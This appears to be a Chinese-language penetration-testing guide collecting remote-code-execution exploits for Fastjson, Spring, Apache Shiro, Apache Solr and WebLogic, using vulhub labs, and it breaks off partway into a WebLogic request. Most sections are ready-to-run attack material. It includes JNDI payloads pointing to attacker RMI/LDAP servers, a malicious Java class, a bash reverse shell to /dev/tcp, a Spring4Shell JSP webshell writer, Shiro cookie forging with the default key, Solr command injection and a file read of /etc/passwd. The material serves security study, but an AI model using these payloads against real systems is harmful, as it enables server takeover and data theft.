Java RCE漏洞利用篇

本文记录Java高危高频利用的RCE漏洞基本原理、利用条件及方法..

本文涉及内容,仅限于网络安全从业者学习交流,切勿用于非法用途…

0x01 Fastjson

1. 反序列化漏洞史

fastjson <=1.2.24 反序化RCE (CVE-2017-18349)

1
Pippo 1.11.0版本中的FastjsonEngine所使用的Fastjson 1.2.25之前版本的parseObject存在安全漏洞。fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链,远程攻击者可通过发送特制的JSON请求利用该漏洞执行任意代码

fastjson <=1.2.41 反序化RCE

1
在1.2.24之后,fastjson1.2.25开始默认关闭对autoType的支持,并且添加checkAutoType方法,其采用了白名单+黑名单的模式对开启autoType开启的情况进行防御。但是在1.2.25-1.2.41版本之间多了一次绕过

fastjson <=1.2.42 反序化RCE

1
为了修复L;绕过的问题,在checkAutoType函数中会去掉开头L和结尾; 。并且将黑白名单从明文改成了hash校验,但依然是从前往后一个个字符进行校验。这里的绕过方式也非常简单,通过LLcom.sun.rowset.JdbcRowSetImpl;;绕过

fastjson <=1.2.43 反序化RCE

1
2
3
4
5
针对1.2.42绕过的情况,在版本1.2.43增加了判断条件,检测到LL则抛出异常。然而TypeUtils.loadClass中对以[开始的类名也做了处理,可以继续构造数组形式的类型,在parseArray函数中触发反序列化。

"{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://localhost/test\",\"autoCommit\":true}"

在1.2.44版本中检测到[开始或者L开始;结尾两种情况都会直接抛出异常,至此无法再使用此方式绕过黑名单校验

fastjson <=1.2.45 反序化RCE

1
黑名单绕过1.2.44的修复继续反序化RCE:{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1399/Exploit"}}

fastjson <=1.2.47 反序化RCE

1
com.sun.rowset.JdbcRowSetImpl方法绕过继续反序化RCE

fastjson < 1.2.51 远程代码执行

1
fastjson < 1.2.51版本存在代码执行漏洞,当用户提交一个精心构造的恶意的序列化数据到服务器端时,fastjson在反序列化时存在漏洞,可导致远程任意代码执行

fastjson < 1.2.61 反序化RCE

1
fastjson采用黑名单的方法来防御反序列化漏洞,导致当黑客不断发掘新的可攻击的反序列化Gadgets类时,则可轻松绕过黑名单防御机制,反序列化漏洞就会再次出现。fastjson自1.2.25以上默认关闭autotype,默认配置不受漏洞影响

fastjson <=1.2.62 反序化RCE

1
org.apache.xbean.propertyeditor.JndiConverter方法绕过继续反序化RCE

fastjson < 1.2.66 反序化RCE

1
fastjson采用黑名单的方法来防御反序列化漏洞,导致当黑客不断发掘新的可攻击的反序列化Gadgets类时,则可轻松绕过黑名单防御机制,反序列化漏洞就会再次出现。fastjson自1.2.25以上默认关闭autotype,默认配置不受漏洞影响

fastjson < 1.2.67 反序列化/SSRF漏洞

1
fastjson采用黑白名单的方法来防御反序列化漏洞,导致当黑客不断发掘新的可攻击的反序列化Gadgets类时,则可能可以绕过黑白名单防御机制,造成远程命令执行或者SSRF漏洞

fastjson <=1.2.68 反序列化RCE

1
fastjson采用黑白名单的方法来防御反序列化漏洞,导致当黑客不断发掘新的反序列化Gadgets类时,在autoType关闭的情况下仍然可能可以绕过黑白名单防御机制,造成远程命令执行漏洞。该漏洞利用门槛较低,可绕过autoType,风险影响较大

fastjson < 1.2.70 反序列化RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1.2.70新增多个autoType反序列化利用Gadgets黑名单类:

org.apache.commons.collections4.Transformer
org.apache.commons.collections4.functors
org.jdom2.transform.
org.apache.hadoop.shaded.com.zaxxer.hikari.
org.apache.activemq.pool.
org.apache.aries.transaction.
org.apache.activemq.ActiveMQConnectionFactory
org.apache.activemq.spring.
org.apache.activemq.ActiveMQXAConnectionFactory
org.apache.commons.jelly.
org.apache.axis2.transport.jms.
com.p6spy.engine.

2. 漏洞复现及利用

以Fastjson 1.2.4为例,目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令

a. 构造恶意java类

编译并上传命令执行,如:http://rhost:rport/Exploit.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "touch /zydx666"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));

String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}

p.waitFor();
is.close();
reader.close();
p.destroy();
}

public static void main(String[] args) throws Exception {
}
}

使用javac命令编译Exploit.java文件,生成一个Exploit.class文件

1
javac Exploit.java

在远程主机上启一个http服务,需要能访问到Exploit.class文件,如使用python3启动http服务:

1
python3 -m http.server --bind 0.0.0.0 2233

b. 开启远程方法调用rmi服务

使用marshalsec项目,启动一个RMI服务器,监听6699端口,并制定加载远程类Exploit.class:

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://rhost:2233/#Exploit" 6699

c. 攻击机发送payload

向存在漏洞的目标机发送fastjson反序列化漏洞payload,带上RMI的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: target-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://rhost:6699/Exploit",
"autoCommit":true
}
}

此时目标主机收到POST请求,触发反序列化漏洞,最终执行恶意Exploit.class

3. 各版本payload

fastjson<=1.2.24

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}

fastjson<=1.2.41

1
2
3
// autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}

fastjson<=1.2.42

1
2
3
// autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}

fastjson<=1.2.43

1
2
3
// autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}

fastjson<=1.2.45

1
2
3
// autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1399/Exploit"}}

fastjson<=1.2.47

1
2
3
4
5
6
7
8
9
10
11
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://x.x.x.x:1999/Exploit",
"autoCommit": true
}
}

fastjson<=1.2.62

1
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"

fastjson<=1.2.66

1
2
3
4
5
6
7
8
9
// autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/whoami"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/whoami"}

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/whoami"}

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/whoami"}}

Reference

0x02 Spring系列

1. Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

Pivotal Spring Web Flow是美国Pivotal Software公司的一款Web应用程序,可提供登机手续办理、贷款申请或购物车结算等导航。

Pivotal Spring Web Flow 2.4.0至2.4.4版本中存在远程代码执行漏洞。由于在的数据绑定上未能指定相关的具体属性,从而导致恶意的SpEL表达式可以通过表单提交并且被执行,攻击者可利用漏洞执行任意代码

测试环境

通过vulhub搭建,环境启动后,访问http://your-ip:8080,将看到一个酒店预订的页面

漏洞利用

首先访问http://your-ip:8080/login,用页面左边给出的任意一个账号/密码登录系统

然后访问id为1的酒店http://your-ip:8080/hotels/1,点击预订按钮”Book Hotel”,填写相关信息后点击”Process”

再点击确认”Confirm”

此时抓包,抓到一个POST数据包,向其中添加一个字段(也就是反弹shell的POC, 需URL编码):

1
_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub

成功执行,获得shell

2. Spring Messaging 远程命令执行漏洞(CVE-2018-1270)

漏洞描述

spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞

漏洞复现

通过vulhub搭建,环境启动后,访问http://your-ip:8080可看到一个Web页面

该漏洞是订阅的时候插入SpEL表达式,而对方向这个订阅发送消息时才会触发,所以需要指定的信息有:

1
2
3
4
5
6
7
1)基础地址,在vulhub中为http://your-ip:8080/gs-guide-websocket

2) 待执行的SpEL表达式,如T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')

3) 某一个订阅的地址,如vulhub中为:/topic/greetings

4) 如何触发这个订阅,即如何让后端向这个订阅发送消息。在vulhub中,向/app/hello发送一个包含name的json,即可触发这个事件

根据需求修改POC, vulhub环境,只需修改1中的url即可

执行exploit.py,进入容器docker-compose exec spring bash,可见/tmp/success已成功创建

3. Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

漏洞描述

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令

漏洞利用

通过vulhub搭建,环境启动后,访问http://your-ip:8080/users,将可以看到一个用户注册页面

在注册的时候抓包,并修改成如下数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

执行docker-compose exec spring bash进入容器中,可见成功创建/tmp/success,说明命令执行成功

4. Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)

漏洞描述

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令

漏洞复现

使用vulhub启动一个使用了Spring Cloud Gateway 3.1.0的Web服务,服务启动后,访问http://your-ip:8080即可看到演示页面

1)首先,发送如下数据包即可添加一个包含恶意SpEL表达式的路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
  1. 然后,发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行
1
2
3
4
5
6
7
8
9
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

发送如下数据包即可查看执行结果:

1
2
3
4
5
6
7
8
9
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
  1. 最后,发送如下数据包清理现场,删除所添加的路由
1
2
3
4
5
6
7
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

再刷新下路由:

1
2
3
4
5
6
7
8
9
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

5. Spring Cloud Function SpEL表达式命令注入(CVE-2022-22963)

漏洞描述

Spring Cloud Function是基于 Spring Boot 的函数框架。由于 Spring Cloud Function 对用户输入的参数安全处理不严,未授权的攻击者可构造特定的数据包,通过特定的 HTTP 请求头进行 SpEL 表达式注入攻击,从而可执行任意的恶意 Java 代码,获取服务权限

漏洞复现

使用vulhub启动一个使用Spring Cloud Function 3.2.2编写的服务器:服务启动后,执行curl http://your-ip:8080/uppercase -H “Content-Type: text/plain” –data-binary test即可执行uppercase函数,将输入字符串转换成大写

发送如下数据包,spring.cloud.function.routing-expression头中包含的SpEL表达式将会被执行:

1
2
3
4
5
6
7
8
9
10
11
12
POST /functionRouter HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4

test

6. Spring Framework JDK >= 9 RCE(CVE-2022-22965)

在JDK 9+上运行的Spring MVC或Spring WebFlux应用程序可能存在通过数据绑定执行远程代码(RCE)的漏洞。已知的利用方法要求应用程序以WAR部署的形式在Tomcat上运行

漏洞环境

使用vulhub启动一个Spring WebMVC 5.3.17服务:服务启动后,访问http://your-ip:8080/?name=Bob&age=25可看到一个演示页面

漏洞利用

发送如下数据包,即可修改目标的Tomcat日志路径与后缀,利用这个方法写入一个JSP文件:

1
2
3
4
5
6
7
8
9
10
11
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

然后,访问刚写入的JSP Webshell,执行任意命令:

1
http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=whoami

在利用完成后将class.module.classLoader.resources.context.parent.pipeline.first.pattern清空,否则每次请求都会写入新的恶意代码在JSP Webshell中,导致这个文件变得很大。发送如下数据包将其设置为空:

1
2
3
4
5
6
7
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

Reference

0x03 Apache Shiro

1.Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

漏洞描述

Apache Shiro是Apache软件基金会的一套用于执行认证、授权、加密和会话管理的Java安全框架。

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令

漏洞利用

使用vulhub启动一个使用了Apache Shiro 1.2.4的Web服务:服务启动后,访问http://your-ip:8080可使用admin:vulhub进行登录

使用ysoserial生成CommonsBeanutils1的Gadget:

1
java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser

使用Shiro内置的默认密钥对Payload进行加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.vulhub.shirodemo;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;

import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestRemember {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));

AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}

发送rememberMe Cookie,即可成功执行touch /tmp/success

2. Apache Shiro Padding Oracle RCE(CVE-2019-12422)

漏洞描述

Apache Shiro 1.4.2之前版本中存在安全漏洞。Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

漏洞利用

1)登录Shiro网站,从cookie中获得rememberMe字段的值

2)利用DNSlog探测,通过ysoserial工具生成payload

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping name.ceye.cn" > payload.class

3)使用rememberMe值作为prefix,加载Payload,进行Padding Oracle攻击

利用工具:PaddingOracleAttack-Shiro-721

1
java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath

爆破成功,输出Result

4)使用构造的rememberMe攻击字符串重新请求网站

成功触发Payload,在DNSLog获取到目标IP

3. Apache Shiro 认证绕过漏洞(CVE-2020-1957)

漏洞描述

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。在Apache Shiro 1.5.2以前的版本中,在使用Spring动态控制器时,攻击者通过构造..;这样的跳转,可以绕过Shiro中对目录的权限限制

环境搭建

使用vlhub搭建环境,启动一个搭载Spring 2.2.2与Shiro 1.5.1的应用:环境启动后,访问http://your-ip:8080即可查看首页

这个应用中对URL权限的配置如下:

1
2
3
4
5
6
7
8
@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
chainDefinition.addPathDefinition("/logout", "logout");
chainDefinition.addPathDefinition("/admin/**", "authc");
return chainDefinition;
}

漏洞复现

直接请求管理页面/admin/,无法访问,将会被重定向到登录页面

构造恶意请求/xxx/..;/admin/,即可绕过权限校验,访问到管理页面

4. Apache Shiro < 1.7.1 权限绕过漏洞(CVE-2020-17523)

漏洞描述

2021年2月1日,Apache Shiro发布1.7.1版本,修复了 Apache Shiro 身份验证绕过漏洞 (CVE-2020-17523)。攻击者可以使用包含payload的恶意请求绕过Shiro的身份认证

refer:

Reference

0x04 Apache Solr

1. Apache Solr XXE & RCE 漏洞(CVE-2017-12629)

漏洞描述

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。Lucene是apache软件基金会4 jakarta项目组的一个子项目,是一个开放源代码的全文检索引擎工具包。

原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。攻击者利用该漏洞可以获取敏感信息,或者在受影响应用程序上下文中执行任意代码漏洞

漏洞利用

通过vulhub搭建环境,执行成功后,访问http://your-ip:8983/ 即可查看到Apache solr的管理页面,无需登录

1)首先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数:

1
2
3
4
5
6
7
8
9
POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}
  1. 然后进行update操作,触发刚才添加的listener,成功执行命令
1
2
3
4
5
6
7
8
9
10
POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15

[{"id":"test"}]

refer:

2. Apache Solr DataImport Handler 命令执行漏洞(CVE-2019-0193)

漏洞描述

在Apache Solr中,DataImportHandler是一个可选但常用的模块,用于从数据库和其他源中提取数据,它具有一个功能,其中整个DIH配置可以来自请求的”dataConfig”参数。 DIH管理界面的调试模式使用它来方便调试/开发DIH配置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。从Solr的8.2.0版开始,使用此参数需要将Java System属性”enable.dih.dataConfigParam”设置为true

漏洞环境

1
2
docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

命令执行成功后,访问http://your-ip:8983/即可查看到Apache solr的管理页面,无需登录

漏洞利用

1)首先打开刚刚创建好的test核心,选择Dataimport功能并选择debug模式,填入以下POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>

2)点击Execute with this Confuguration会发送以下请求包,成功执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /solr/test/dataimport?_=1565835261600&indent=on&wt=json HTTP/1.1
Host: localhost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 679
Connection: close
Referer: http://localhost:8983/solr/
Cookie: csrftoken=gzcSR6Sj3SWd3v4ZxmV5OcZuPKbOhI6CMpgp5vIMvr5wQAL4stMtxJqL2sUE8INi; sessionid=snzojzqa5zn187oghf06z6xodulpohpr

command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fsuccess%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport

refer:

3. Apache Solr Velocity 模版注入RCE(CVE-2019-17558)

漏洞描述

Apache Solr 5.0.0到Apache Solr 8.3.1容易受到通过VelocityResponseWriter执行的远程代码的攻击。Velocity模板可以通过configset ‘ Velocity / ‘目录中的Velocity模板或作为参数提供。用户定义的configset可以包含可呈现的、潜在的恶意模板。参数提供的模板在默认情况下是禁用的,但是可以通过设置params.resource.loader来启用。通过定义一个响应写入器并将其设置为true来启用。定义响应编写器需要配置API访问。Solr 8.4完全删除了params资源加载器,只有在configset是”可信的”(由经过身份验证的用户上传)时才启用configset提供的模板呈现

漏洞复现

使用vulhub启动一个Apache Solr 8.2.0服务器:服务启动后,访问http://your-ip:8983即可查看到一个无需权限的Apache Solr服务

默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。先通过如下API获取所有的核心:

1
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

通过如下请求开启params.resource.loader.enabled,其中API路径包含刚才获取的core名称

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /solr/demo/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}

注入Velocity模板即可执行任意命令:

1
http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

refer:

4. Apache Solr RemoteStreaming 文件读取与SSRF漏洞

漏洞描述

Apache Solr 是一个开源的搜索服务器。在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取

漏洞利用

使用vulhub搭建环境,执行如下命令启动solr 8.8.1:环境启动后,访问http://your-ip:8983即可查看Apache Solr后台

1)首先,访问http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json获取数据库名

2)发送如下数据包,修改数据库demo的配置,开启RemoteStreaming

1
2
3
curl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
$'http://your-ip:8983/solr/demo/config'

3)再通过stream.url读取任意文件:

1
curl -i -s -k 'http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

refer:

0x05 Weblogic

1. WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)

漏洞描述

Oracle Fusion Middleware中的Oracle WebLogic Server组件的WebLogic WLS组件子组件存在远程命令执行漏洞。Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令

受影响WebLogic版本:10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0

漏洞复现

使用vulhub搭建环境,访问http://your-ip:7001/即可看到一个404页面,说明weblogic已成功启动

发送如下数据包(注意其中反弹shell的语句,需要进行编码),可反弹shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

